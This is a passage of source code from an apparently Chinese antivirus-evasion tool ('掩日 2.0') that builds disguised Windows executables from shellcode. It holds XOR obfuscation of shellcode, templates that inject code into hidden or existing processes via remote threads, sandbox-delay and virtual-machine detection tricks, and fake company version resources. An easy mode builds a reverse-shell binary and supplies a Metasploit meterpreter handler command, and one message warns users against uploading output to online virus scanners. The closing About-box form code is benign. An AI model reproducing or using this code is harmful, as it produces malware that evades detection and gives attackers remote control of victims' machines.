64 | OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess"");
65 | HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid);
66 | typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
67 | VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx"");
68 | PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
69 | WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL);
70 | typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
71 | CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread"");
72 | HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
73 | WaitForSingleObject(remoteThread, -1);
74 | CloseHandle(processHandle);";
75 |
76 | //注入到新进程,需要提供进程名
77 | public static string CreateNew = @"char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'});
78 | STARTUPINFOA si;
79 | PROCESS_INFORMATION pi;
80 | si.cb = sizeof(STARTUPINFO);
81 | si.lpReserved = NULL;
82 | si.lpDesktop = NULL;
83 | si.lpTitle = NULL;
84 | si.dwFlags = STARTF_USESHOWWINDOW;
85 | si.wShowWindow = SW_HIDE;
86 | si.cbReserved2 = 0;
87 | si.lpReserved2 = NULL;
88 | CreateProcessA(0, ""{{processname}}"", 0, 0, 0, 0, 0, 0, &si, &pi);
89 | DWORD pid = pi.dwProcessId;
90 |
91 | typedef LPVOID(WINAPI* OpenProcessC)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
92 | OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess"");
93 | HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid);
94 |
95 | typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
96 | VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx"");
97 | PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
98 |
99 | WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL);
100 |
101 | typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
102 | CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread"");
103 | HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
104 |
105 | WaitForSingleObject(remoteThread, -1);
106 | CloseHandle(processHandle);";
107 |
108 | //延时绕沙箱,这个测试延时约180+秒
109 | public static string Super_Delay = @"for(int i = 1; i<50000000;i++)
110 | {
111 | for(int j=1;j<1500;j++)
112 | {
113 | int a=1;
114 | a += 88;
115 | }
116 | a += 1;
117 | }
118 | if(a != 50000000)
119 | {
120 | return;
121 | }";
122 |
123 | //检查注册表和文件绕虚拟机
124 | public static string Vm_Detect = @"HKEY hkey;
125 | if (RegOpenKey(HKEY_CLASSES_ROOT, ""\\Applications\\VMwareHostOpen.exe"", &hkey) == ERROR_SUCCESS)
126 | {
127 | return;
128 | }
129 | if (access(""C:\\Program Files\\VMware\\VMware Tools\\"", 0) == 0)
130 | {
131 | return;
132 | }
133 | if (access(""C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\"") == 0)
134 | {
135 | return;
136 | }
137 | if (RegOpenKey(HKEY_LOCAL_MACHINE, ""SOFTWARE\\Oracle\\VirtualBox Guest Additions"", &hkey) == ERROR_SUCCESS)
138 | {
139 | return;
140 | }";
141 |
142 | //编译信息
143 | public static string compile_info = @"1 VERSIONINFO
144 | FILEVERSION 1,0,0,0
145 | PRODUCTVERSION 1,0,0,0
146 | FILEOS 0x40004
147 | FILETYPE 0x1
148 | {
149 | BLOCK ""StringFileInfo""
150 | {
151 | BLOCK ""040904B0""
152 | {
153 | VALUE ""CompanyName"", ""{{companyname}}""
154 | VALUE ""FileDescription"", ""An Excellent Software Developed By {{companyname}} To Solove Your Problem.""
155 | VALUE ""FileVersion"", ""1.0.0.0""
156 | VALUE ""LegalCopyright"", ""Copyright (C) 2020 {{companyname}}. All rights reserved.""
157 | VALUE ""ProductName"", ""{{companyname}} Helper""
158 | VALUE ""ProductVersion"", ""1.0.0.0""
159 | }
160 | }
161 |
162 | BLOCK ""VarFileInfo""
163 | {
164 | VALUE ""Translation"", 0X0409, 0X04B0
165 | }
166 | }
167 |
168 | ";
169 | }
170 | }
171 |
--------------------------------------------------------------------------------
/掩日2.0/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace 掩日2._0
11 | {
12 | public partial class Form1 : Form
13 | {
14 | //全局变量
15 | public bool MODE = true; // true for easy mode which is default, false for custom mode
16 | public bool ENV = true; //true for GCC installed
17 |
18 | public Form1()
19 | {
20 | InitializeComponent();
21 | this.Height = 110;
22 | bool env = false;
23 | comboBox1.SelectedIndex = 0;
24 | comboBox3.SelectedIndex = 0;
25 | comboBox5.Items.AddRange(Global.VM_Sandbox);
26 | comboBox5.SelectedIndex = 0;
27 | //判断是否已安装GCC
28 | if (!Common.Execute_Cmd("gcc --version").Contains("tdm64"))
29 | {
30 | DialogResult result = MessageBox.Show("缺少必要的执行环境(tdm-gcc),点击确定将启动兼容模式,兼容模式下,多数功能无法使用。点击取消打开使用说明界面", "警告", MessageBoxButtons.OKCancel, MessageBoxIcon.Exclamation);
31 | if (result == DialogResult.OK)
32 | {
33 | this.Text = "掩日 2.0 - 兼容 - 1y0n.com";
34 | ENV = false; // 没有安装GCC
35 | MODE = false; //环境不全的情况下,极简模式不能用
36 | linkLabel1.Text = "";
37 | panel1.Height = 410;
38 | panel1.Visible = true;
39 | this.Height = 519;
40 | textBox1.Enabled = false;
41 | comboBox1.Items.Clear();
42 | comboBox1.Items.Add("C#");
43 | comboBox1.SelectedIndex = 0;
44 | linkLabel1.Enabled = false;
45 | textBox1.Text = "兼容模式下不可用";
46 | textBox1.Enabled = false;
47 | }
48 | else
49 | {
50 | System.Diagnostics.Process.Start("https://github.com/1y0n/AV_Evasion_Tool/");
51 | System.Environment.Exit(-1);
52 | }
53 | }
54 | }
55 |
56 | private void label3_Click(object sender, EventArgs e)
57 | {
58 | AboutBox1 ab = new AboutBox1();
59 | ab.Show();
60 | }
61 |
62 | private void button1_Click(object sender, EventArgs e)
63 | {
64 | if (MODE) //极简模式
65 | {
66 | if (textBox1.Text.Contains(":"))
67 | {
68 | string ip = textBox1.Text.Split(':')[0];
69 | string port = textBox1.Text.Split(':')[1];
70 | saveFileDialog1.Filter = "可执行文件|*.exe";
71 | if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != ""))
72 | {
73 | string savepath = saveFileDialog1.FileName;
74 | if (Core.Generate_1_IP(comboBox3.Text, ip, port, savepath))
75 | {
76 | if (MessageBox.Show("生成成功,是否复制 metasploit 启动命令到剪贴板?", "成功", MessageBoxButtons.YesNo) == DialogResult.Yes)
77 | {
78 | string msf_cmd = @"msfconsole -x ""use exploit/multi/handler; set payload windows/{{arch}}meterpreter/reverse_tcp; set lhost {{ip}}; set lport {{port}}; run; """;
79 | string temp = comboBox3.Text.StartsWith("64") ? "x64/" : "";
80 | msf_cmd = msf_cmd.Replace("{{arch}}", temp).Replace("{{ip}}", ip).Replace("{{port}}", port);
81 | Clipboard.SetText(msf_cmd);
82 | }
83 | }
84 | else
85 | {
86 | MessageBox.Show("生成失败,请检查你的输入。");
87 | }
88 | }
89 | else
90 | {
91 | MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。");
92 | return;
93 | }
94 | }
95 | else
96 | {
97 | MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。");
98 | return;
99 | }
100 | }
101 | else
102 | {
103 | if (comboBox2.Text.Contains("注入"))
104 | {
105 | if (textBox2.Text.Trim() == "")
106 | {
107 | MessageBox.Show("漏填了必填项,请检查", "提示");
108 | return;
109 | }
110 | if (comboBox2.Text.Contains("现有"))
111 | {
112 | try
113 | {
114 | int temp = int.Parse(textBox2.Text);
115 | }
116 | catch
117 | {
118 | MessageBox.Show("注入现有进程时必须填写数字PID号", "提示");
119 | return;
120 | }
121 | }
122 | }
123 | saveFileDialog1.Filter = "可执行文件|*.exe";
124 | if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "") && (richTextBox1.Text.Trim() != ""))
125 | {
126 | bool result = false;
127 | if (comboBox1.Text == "C")
128 | {
129 | result = Core.Gen_C(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text);
130 | }
131 | else if (comboBox1.Text == "C#")
132 | {
133 | result = Core.Gen_CS(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text);
134 | }
135 | if (result)
136 | {
137 | MessageBox.Show("生成成功!不要将生成的程序上传到在线杀毒网站", "成功");
138 | return;
139 | }
140 | else
141 | {
142 | MessageBox.Show("生成失败!请检查你的输入", "失败");
143 | return;
144 | }
145 | }
146 | else
147 | {
148 | return;
149 | }
150 | }
151 | }
152 |
153 | public void SwitchMode()
154 | {
155 | if (MODE) // 当前是极简模式,准备切换到进阶模式
156 | {
157 | MODE = false;
158 | linkLabel1.Text = "🔺极简";
159 | panel1.Height = 410;
160 | panel1.Visible = true;
161 | this.Height = 519;
162 | textBox1.Enabled = false;
163 | }
164 | else //切换到极简模式
165 | {
166 | MODE = true;
167 | linkLabel1.Text = "🔻进阶";
168 | panel1.Visible = false;
169 | this.Height = 110;
170 | textBox1.Enabled = true;
171 | }
172 | }
173 |
174 | private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
175 | {
176 | SwitchMode();
177 | }
178 |
179 | private void richTextBox1_TextChanged(object sender, EventArgs e)
180 | {
181 | richTextBox1.ForeColor = Color.Black;
182 | }
183 |
184 | private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
185 | {
186 | if (comboBox1.Text == "C")
187 | {
188 | comboBox2.Items.Clear();
189 | comboBox2.Items.AddRange(Global.C_Execute);
190 | comboBox2.SelectedIndex = 0;
191 | }
192 | else if (comboBox1.Text == "C#")
193 | {
194 | comboBox2.Items.Clear();
195 | if (comboBox3.Text.StartsWith("32"))
196 | {
197 | comboBox2.Items.AddRange(Global.CS_Execute_x86);
198 | }
199 | else
200 | {
201 | comboBox2.Items.AddRange(Global.CS_Execute_x64);
202 | }
203 | comboBox2.SelectedIndex = 0;
204 | }
205 | }
206 |
207 | private void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
208 | {
209 | if (comboBox2.Text.Contains("注入新进程"))
210 | {
211 | textBox2.Enabled = true;
212 | label4.Text = "注入进程名:";
213 | textBox2.Text = "notepad.exe";
214 | }
215 | else if (comboBox2.Text.Contains("注入现有进程"))
216 | {
217 | textBox2.Enabled = true;
218 | label4.Text = "进程PID:";
219 | textBox2.Clear();
220 | }
221 | else
222 | {
223 | textBox2.Enabled = false;
224 | }
225 | }
226 |
227 | private void radioButton6_CheckedChanged(object sender, EventArgs e)
228 | {
229 | if (!radioButton6.Checked)
230 | {
231 | return;
232 | }
233 | MessageBox.Show("图标路径不要包含中文,否则无法生成", "提示");
234 | openFileDialog1.Filter = "图标文件|*.ico";
235 | if ((openFileDialog1.ShowDialog() == DialogResult.OK) && (openFileDialog1.FileName != ""))
236 | {
237 | pictureBox3.ImageLocation = Global.ICONPATH = openFileDialog1.FileName;
238 | }
239 | else
240 | {
241 | radioButton3.Checked = true;
242 | }
243 | }
244 |
245 | private void comboBox3_SelectedIndexChanged(object sender, EventArgs e)
246 | {
247 | if (comboBox1.Text == "C#")
248 | {
249 | comboBox2.Items.Clear();
250 | if (comboBox3.Text.StartsWith("32"))
251 | {
252 | comboBox2.Items.AddRange(Global.CS_Execute_x86);
253 | }
254 | else
255 | {
256 | comboBox2.Items.AddRange(Global.CS_Execute_x64);
257 | }
258 | comboBox2.SelectedIndex = 0;
259 | }
260 | }
261 |
262 | private void richTextBox1_Click(object sender, EventArgs e)
263 | {
264 | if (richTextBox1.Text.Contains("msfvenom"))
265 | {
266 | richTextBox1.Clear();
267 | }
268 | }
269 |
270 | private void radioButton3_CheckedChanged(object sender, EventArgs e)
271 | {
272 | Global.ICONPATH = "";
273 | }
274 | }
275 | }
276 |
--------------------------------------------------------------------------------
/掩日2.0/Core.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Text.RegularExpressions;
6 |
7 | namespace 掩日2._0
8 | {
9 | class Core
10 | {
11 | //极简模式
12 | public static bool Generate_1_IP(string arch, string ip, string port, string path)
13 | {
14 | string finalip = "";
15 |
16 | foreach (char c in ip)
17 | {
18 | finalip += "'" + c + "',";
19 | }
20 | finalip += @"'\0'";
21 |
22 | string FinalCode = T_EasyMode.GetCode().Replace("{{ip}}", finalip).Replace("{{port}}", port);
23 |
24 | string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c";
25 | System.IO.File.WriteAllText(temp_path, FinalCode);
26 |
27 | //开始编译
28 | string compilecmd = @"gcc " + temp_path + @" -o """ + path + @""" -mwindows -m"+ arch.Substring(0, 2) +" -lws2_32";
29 |
30 | if (!Common.Execute_Cmd(compilecmd).Contains("error:"))
31 | {
32 | System.IO.File.Delete(temp_path);
33 | return true;
34 | }
35 | else
36 | {
37 | System.IO.File.Delete(temp_path);
38 | return false;
39 | }
40 | }
41 |
42 | //处理 shellcode,并全部转换成 c# 格式
43 | public static string Shellcode_Handle(string raw)
44 | {
45 | string result = "";
46 | //去掉所有换行 → 匹配出shellcode → 去掉所有空格 → 去掉引号、分号、括号 → 转换格式
47 | raw = raw.Replace("\r\n", "").Replace("\r", "").Replace("\n", "");
48 |
49 | if (raw.Contains(@"\x"))
50 | {
51 | //c 类型的shellcode
52 | string pattern = @"=.*$";
53 | string temp = Regex.Match(raw, pattern).Value;
54 | result = temp.Replace(@"""", "").Replace(" ", "").Replace("=", "").Replace(";", "");
55 | }
56 | else if ((raw.Contains(@",0x")) || (raw.Contains(@", 0x")))
57 | {
58 | //c# 类型的shellcode
59 | string pattern = @"{.*}";
60 | string temp = Regex.Match(raw, pattern).Value;
61 | result = temp.Replace("{", "").Replace(" ", "").Replace("}", "").Replace(";", "");
62 | }
63 | else
64 | {
65 | return "";
66 | }
67 | //转换成 c# 格式
68 | if (result.Contains(@"\x"))
69 | {
70 | result = result.Replace(@"\x", ",0x").TrimStart(',');
71 | }
72 | return result;
73 | }
74 |
75 | //变异异或,需要指定返回 c 还是 c# 格式的 shellcode
76 | public static string XOR_C(string format, string raw)
77 | {
78 | string result = "";
79 | string[] shellcode_array = raw.Split(',');
80 | string[] temp = new string[shellcode_array.Length];
81 | int j = 234;
82 | int add = 12;
83 | for (int i = 0; i < shellcode_array.Length; i++)
84 | {
85 | temp[i] = string.Format("{0:x2}", string_to_int(shellcode_array[i]) ^ 123 ^ j);
86 | temp[i] = "0x" + temp[i].Substring(temp[i].Length - 2, 2);
87 | j += add;
88 | }
89 | result = string.Join(",", temp);
90 | //转换一下格式
91 | if (format == "c")
92 | {
93 | result = result.Replace("0x", @"\x").Replace(",", "");
94 | }
95 | return result;
96 | }
97 |
98 | //字符串转十进制,返回byte形式
99 | public static byte string_to_int(string str)
100 | {
101 | string temp = str.Substring(str.Length - 2, 2);
102 | int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber);
103 | return BitConverter.GetBytes(hex)[0];
104 | }
105 |
106 | //生成 c 源码并编译
107 | public static bool Gen_C(string shellcode, string path, string execute, string inject, string arch, string detect)
108 | {
109 | string finalcode;
110 | shellcode = Shellcode_Handle(shellcode);
111 | shellcode = XOR_C("c", shellcode);
112 |
113 | Random r = new Random();
114 | int n = r.Next(0, Global.Company_name.Length - 1);
115 | string comname = Global.Company_name[n];
116 |
117 | string c_compile_info = C_Template.compile_info.Replace("{{companyname}}", comname);
118 |
119 | //图标设置
120 | if (Global.ICONPATH != "")
121 | {
122 | c_compile_info += @"IDI_ICON1 ICON ""{{path}}""";
123 | c_compile_info = c_compile_info.Replace("{{path}}", Global.ICONPATH.Replace("\\", "\\\\"));
124 | }
125 | System.IO.File.WriteAllText("C:\\Windows\\Temp\\Yanri_res.rc", c_compile_info);
126 | string res_cmd = "windres C:\\Windows\\Temp\\Yanri_res.rc C:\\Windows\\Temp\\Yanri_res.o";
127 | if (arch.StartsWith("32"))
128 | {
129 | res_cmd += " --target=pe-i386";
130 | }
131 | Common.Execute_Cmd(res_cmd);
132 | bool icon_set = System.IO.File.Exists("C:\\Windows\\Temp\\Yanri_res.o");
133 | //System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.rc");
134 |
135 | //根据执行方式选择代码模板
136 | if (execute == "执行4-Dynamic")
137 | {
138 | finalcode = C_Template.Dynamic.Replace("{{shellcode}}", shellcode);
139 | }
140 | else
141 | {
142 | finalcode = C_Template.Base_Code.Replace("{{shellcode}}", shellcode);
143 | switch (execute)
144 | {
145 | case "执行1-VirtualAlloc":
146 | finalcode = finalcode.Replace("//{{execute}}", C_Template.VirtualALloc);
147 | break;
148 | case "执行2-GetProcAddress":
149 | finalcode = finalcode.Replace("//{{execute}}", C_Template.GetProcessAddress);
150 | break;
151 | case "注入现有进程":
152 | finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateRemoteThread);
153 | finalcode = finalcode.Replace("{{pid}}", inject);
154 | break;
155 | case "注入新进程":
156 | finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateNew);
157 | finalcode = finalcode.Replace("{{processname}}", inject);
158 | break;
159 | default:
160 | return false;
161 | }
162 | }
163 | //虚拟机及沙箱检测
164 | switch (detect)
165 | {
166 | case "沙箱:延时约180秒":
167 | finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Super_Delay);
168 | break;
169 | case "虚拟机:简单反虚拟机":
170 | finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Vm_Detect);
171 | break;
172 | }
173 |
174 | //保存代码到临时文件
175 | string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c";
176 | System.IO.File.WriteAllText(temp_path, finalcode);
177 |
178 | //编译
179 | if (C_Compiler(arch, temp_path, path, icon_set))
180 | {
181 | //System.IO.File.Delete(temp_path);
182 | System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
183 | return true;
184 | } else
185 | {
186 | System.IO.File.Delete(temp_path);
187 | System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
188 | return false;
189 | }
190 | }
191 |
192 | //生成 c# 源码并编译
193 | public static bool Gen_CS(string shellcode, string path, string execute, string inject, string arch, string detect)
194 | {
195 | shellcode = Shellcode_Handle(shellcode);
196 | shellcode = XOR_C("c#", shellcode);
197 | string target_arch = "/platform:x86 /optimize /target:winexe ";
198 | if (arch.StartsWith("6"))
199 | {
200 | target_arch = target_arch.Replace("86", "64");
201 | }
202 | if (Global.ICONPATH != "")
203 | {
204 | target_arch += " /win32icon:" + Global.ICONPATH;
205 | }
206 | string finalcode = "";
207 |
208 | //根据执行方式决定代码模板
209 | switch (execute)
210 | {
211 | case "执行1-GetProcAddress":
212 | finalcode = CS_Template.getprocaddress.Replace("{{shellcode}}", shellcode);
213 | break;
214 | case "执行2-VirtualProtect":
215 | finalcode = CS_Template.virtualprotect.Replace("{{shellcode}}", shellcode);
216 | break;
217 | case "注入现有进程":
218 | finalcode = CS_Template.syscall_exist.Replace("{{shellcode}}", shellcode).Replace("{{pid}}", inject);
219 | target_arch += " /unsafe";
220 | break;
221 | case "注入新进程":
222 | finalcode = CS_Template.syscall_new.Replace("{{shellcode}}", shellcode).Replace("{{processname}}", inject);
223 | target_arch += " /unsafe";
224 | break;
225 | }
226 |
227 | //虚拟机/沙箱检测
228 | switch (detect)
229 | {
230 | case "沙箱:延时约180秒":
231 | finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.super_delay);
232 | break;
233 | case "虚拟机:简单反虚拟机":
234 | finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.vm_detect);
235 | break;
236 | }
237 |
238 | //代码生成完毕,准备开始编译
239 | Compiler compiler = new Compiler();
240 | compiler.compileToExe(finalcode, path, target_arch);
241 | //System.IO.File.WriteAllText(@"C:\Users\www1y\Desktop\arch.txt", target_arch);
242 |
243 |
244 | return true;
245 | }
246 |
247 | //编译 c
248 | public static bool C_Compiler(string arch, string source_path, string save_path, bool res=false)
249 | {
250 | string arch_cmd = " -m" + arch.Substring(0, 2);
251 | string compile_cmd = @"gcc -mwindows -o """ + save_path + @"""" + arch_cmd + @" """ + source_path + @"""";
252 | if (res)
253 | {
254 | compile_cmd += @" C:\\Windows\\Temp\\Yanri_res.o";
255 | }
256 | //System.IO.File.WriteAllText(@"C:\\Users\\www1y\\Desktop\\cmd1.txt", compile_cmd);
257 | if (!Common.Execute_Cmd(compile_cmd).Contains("rror:"))
258 | {
259 | return true;
260 | }
261 | return false;
262 | }
263 | }
264 | }
265 |
--------------------------------------------------------------------------------
/掩日2.0/AboutBox1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace 掩日2._0
2 | {
3 | partial class AboutBox1
4 | {
5 | ///
6 | /// 必需的设计器变量。
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// 清理所有正在使用的资源。
12 | ///
13 | protected override void Dispose(bool disposing)
14 | {
15 | if (disposing && (components != null))
16 | {
17 | components.Dispose();
18 | }
19 | base.Dispose(disposing);
20 | }
21 |
22 | #region Windows 窗体设计器生成的代码
23 |
24 | ///
25 | /// 设计器支持所需的方法 - 不要修改
26 | /// 使用代码编辑器修改此方法的内容。
27 | ///
28 | private void InitializeComponent()
29 | {
30 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutBox1));
31 | this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel();
32 | this.logoPictureBox = new System.Windows.Forms.PictureBox();
33 | this.labelProductName = new System.Windows.Forms.Label();
34 | this.labelVersion = new System.Windows.Forms.Label();
35 | this.labelCopyright = new System.Windows.Forms.Label();
36 | this.labelCompanyName = new System.Windows.Forms.Label();
37 | this.textBoxDescription = new System.Windows.Forms.TextBox();
38 | this.okButton = new System.Windows.Forms.Button();
39 | this.backgroundWorker1 = new System.ComponentModel.BackgroundWorker();
40 | this.tableLayoutPanel.SuspendLayout();
41 | ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit();
42 | this.SuspendLayout();
43 | //
44 | // tableLayoutPanel
45 | //
46 | this.tableLayoutPanel.ColumnCount = 2;
47 | this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33F));
48 | this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67F));
49 | this.tableLayoutPanel.Controls.Add(this.logoPictureBox, 0, 0);
50 | this.tableLayoutPanel.Controls.Add(this.labelProductName, 1, 0);
51 | this.tableLayoutPanel.Controls.Add(this.labelVersion, 1, 1);
52 | this.tableLayoutPanel.Controls.Add(this.labelCopyright, 1, 2);
53 | this.tableLayoutPanel.Controls.Add(this.labelCompanyName, 1, 3);
54 | this.tableLayoutPanel.Controls.Add(this.textBoxDescription, 1, 4);
55 | this.tableLayoutPanel.Controls.Add(this.okButton, 1, 5);
56 | this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill;
57 | this.tableLayoutPanel.Location = new System.Drawing.Point(9, 8);
58 | this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
59 | this.tableLayoutPanel.Name = "tableLayoutPanel";
60 | this.tableLayoutPanel.RowCount = 6;
61 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
62 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
63 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
64 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
65 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F));
66 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
67 | this.tableLayoutPanel.Size = new System.Drawing.Size(417, 246);
68 | this.tableLayoutPanel.TabIndex = 0;
69 | //
70 | // logoPictureBox
71 | //
72 | this.logoPictureBox.Dock = System.Windows.Forms.DockStyle.Fill;
73 | this.logoPictureBox.Image = ((System.Drawing.Image)(resources.GetObject("logoPictureBox.Image")));
74 | this.logoPictureBox.Location = new System.Drawing.Point(3, 2);
75 | this.logoPictureBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
76 | this.logoPictureBox.Name = "logoPictureBox";
77 | this.tableLayoutPanel.SetRowSpan(this.logoPictureBox, 6);
78 | this.logoPictureBox.Size = new System.Drawing.Size(131, 242);
79 | this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
80 | this.logoPictureBox.TabIndex = 12;
81 | this.logoPictureBox.TabStop = false;
82 | //
83 | // labelProductName
84 | //
85 | this.labelProductName.Dock = System.Windows.Forms.DockStyle.Fill;
86 | this.labelProductName.Location = new System.Drawing.Point(143, 0);
87 | this.labelProductName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
88 | this.labelProductName.MaximumSize = new System.Drawing.Size(0, 16);
89 | this.labelProductName.Name = "labelProductName";
90 | this.labelProductName.Size = new System.Drawing.Size(271, 16);
91 | this.labelProductName.TabIndex = 19;
92 | this.labelProductName.Text = "产品名称";
93 | this.labelProductName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
94 | //
95 | // labelVersion
96 | //
97 | this.labelVersion.Dock = System.Windows.Forms.DockStyle.Fill;
98 | this.labelVersion.Location = new System.Drawing.Point(143, 24);
99 | this.labelVersion.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
100 | this.labelVersion.MaximumSize = new System.Drawing.Size(0, 16);
101 | this.labelVersion.Name = "labelVersion";
102 | this.labelVersion.Size = new System.Drawing.Size(271, 16);
103 | this.labelVersion.TabIndex = 0;
104 | this.labelVersion.Text = "版本";
105 | this.labelVersion.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
106 | //
107 | // labelCopyright
108 | //
109 | this.labelCopyright.Dock = System.Windows.Forms.DockStyle.Fill;
110 | this.labelCopyright.Location = new System.Drawing.Point(143, 48);
111 | this.labelCopyright.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
112 | this.labelCopyright.MaximumSize = new System.Drawing.Size(0, 16);
113 | this.labelCopyright.Name = "labelCopyright";
114 | this.labelCopyright.Size = new System.Drawing.Size(271, 16);
115 | this.labelCopyright.TabIndex = 21;
116 | this.labelCopyright.Text = "版权";
117 | this.labelCopyright.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
118 | //
119 | // labelCompanyName
120 | //
121 | this.labelCompanyName.Dock = System.Windows.Forms.DockStyle.Fill;
122 | this.labelCompanyName.Location = new System.Drawing.Point(143, 72);
123 | this.labelCompanyName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
124 | this.labelCompanyName.MaximumSize = new System.Drawing.Size(0, 16);
125 | this.labelCompanyName.Name = "labelCompanyName";
126 | this.labelCompanyName.Size = new System.Drawing.Size(271, 16);
127 | this.labelCompanyName.TabIndex = 22;
128 | this.labelCompanyName.Text = "公司名称";
129 | this.labelCompanyName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
130 | //
131 | // textBoxDescription
132 | //
133 | this.textBoxDescription.Dock = System.Windows.Forms.DockStyle.Fill;
134 | this.textBoxDescription.Location = new System.Drawing.Point(143, 98);
135 | this.textBoxDescription.Margin = new System.Windows.Forms.Padding(6, 2, 3, 2);
136 | this.textBoxDescription.Multiline = true;
137 | this.textBoxDescription.Name = "textBoxDescription";
138 | this.textBoxDescription.ReadOnly = true;
139 | this.textBoxDescription.ScrollBars = System.Windows.Forms.ScrollBars.Both;
